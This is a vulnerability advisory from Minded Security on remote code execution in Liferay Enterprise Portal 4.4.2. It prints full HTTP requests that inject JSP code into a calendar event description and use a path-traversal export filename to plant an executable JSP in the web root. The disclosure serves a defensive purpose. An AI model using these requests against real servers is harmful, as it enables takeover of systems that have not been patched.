Code
Advisories

Tested Versions:

Liferay Enterprise Portal 4.4.2, other versions may also be affected.

Minded Security ReferenceID:

MSA261009

Credits:

Discovered by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com

Reference:

http://issues.liferay.com/browse/LPS-9556

Severity:

High: it is possible to execute code remotely

Solution:

Upgrade to the latest version.

Summary

Minded Security Consultants discovered during a penetration testing activity that any poweruser can access his Liferay Calendar module and insert a new event and that he can enter arbitrary JSP code inside the event description.

Analysis

Any poweruser can access his Liferay Calendar module and insert a new event.

It is possible to enter arbitrary JSP code <%=”Code Execution”%> inside the description, as it is possible to see in the body of the following POST request:

POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=maximized&
p_p_mode=view&_8_struts_action=%2Fcalendar%2Fedit_event HTTP/1.1

_8_cmd=add&_8_redirect=%2Fuser%2Fpoweruser%2F1%3Fp_p_id%3D8%26p_p_action
%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_8_struts_action
%3D%252Fcalendar%252Fview%26_8_month%3D4%26_8_day%3D27%26_8_year
%3D2010%26tabs1%3Devents&_8_eventId=0&_8_tabs1TabsScroll=
&_8_startDateMonth=4&_8_startDateDay=27&_8_startDateYear=2010
&_8_startDateHour=10&_8_startDateMinute=30&_8_startDateAmPm=0
&_8_durationHour=1&_8_durationMinute=00&_8_allDay=false
&_8_timeZoneSensitive=true&_8_timeZoneSensitiveCheckbox=on
&_8_title=New+Event&_8_description=%3C%25%3D%22Code+Execution%22%25%3E
&_8_type=anniversary&_8_communityPermissions=VIEW&_8_guestPermissions=VIEW
&_8_inputPermissionsShowConfigure=false&_8_inputPermissionsShowMore=false
&_8_tabs1TabsScroll=&_8_recurrenceType=7&_8_dailyType=0&_8_dailyInterval=1
&_8_weeklyInterval=1&_8_monthlyType=0&_8_monthlyDay0=15
&_8_monthlyInterval0=1&_8_monthlyPos=1&_8_monthlyDay1=1
&_8_monthlyInterval1=1&_8_yearlyType=0&_8_yearlyMonth0=0&_8_yearlyDay0=15
&_8_yearlyInterval0=1&_8_yearlyPos=1&_8_yearlyDay1=1&_8_yearlyMonth1=0
&_8_yearlyInterval1=1&_8_endDateType=0&_8_endDateMonth=4&_8_endDateDay=27
&_8_endDateYear=2011&_8_endDateHour=10&_8_endDateMinute=21&_8_endDateAmPm=0
&_8_tabs1TabsScroll=&_8_firstReminder=900000&_8_secondReminder=300000
&_8_remindBy=email

Now he can export his event list to an arbitrary file. Specifying an arbitrary filename in the ROOT path of the liferay application (ex: webapps/ROOT/l.jsp) liferay portal will create a file with jsp extension:

POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=exclusive&
p_p_mode=view&_8_struts_action=%2Fcalendar%2Fexport_events HTTP/1.1

_8_tabs1TabsScroll=&_8_tabs1TabsScroll=
&exportFileName=../webapps/ROOT/l.jsp&_8_tabs1TabsScroll=&_8_importFile=

The name of the new file created will be specified in the response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: public
Pragma: public
Content-Disposition: attachment; filename=”l11661.jsp”
Content-Type: text/html;charset=UTF-8
Date: Thu, 27 May 2010 10:22:11 GMT
Content-Length: 326

Now the malicious Power User can execute the previous code simply by requesting
the file named “l11661.jsp”.

Disclosure Timeline

26/10/09 Issue found
12/05/10 Reported to Vendor

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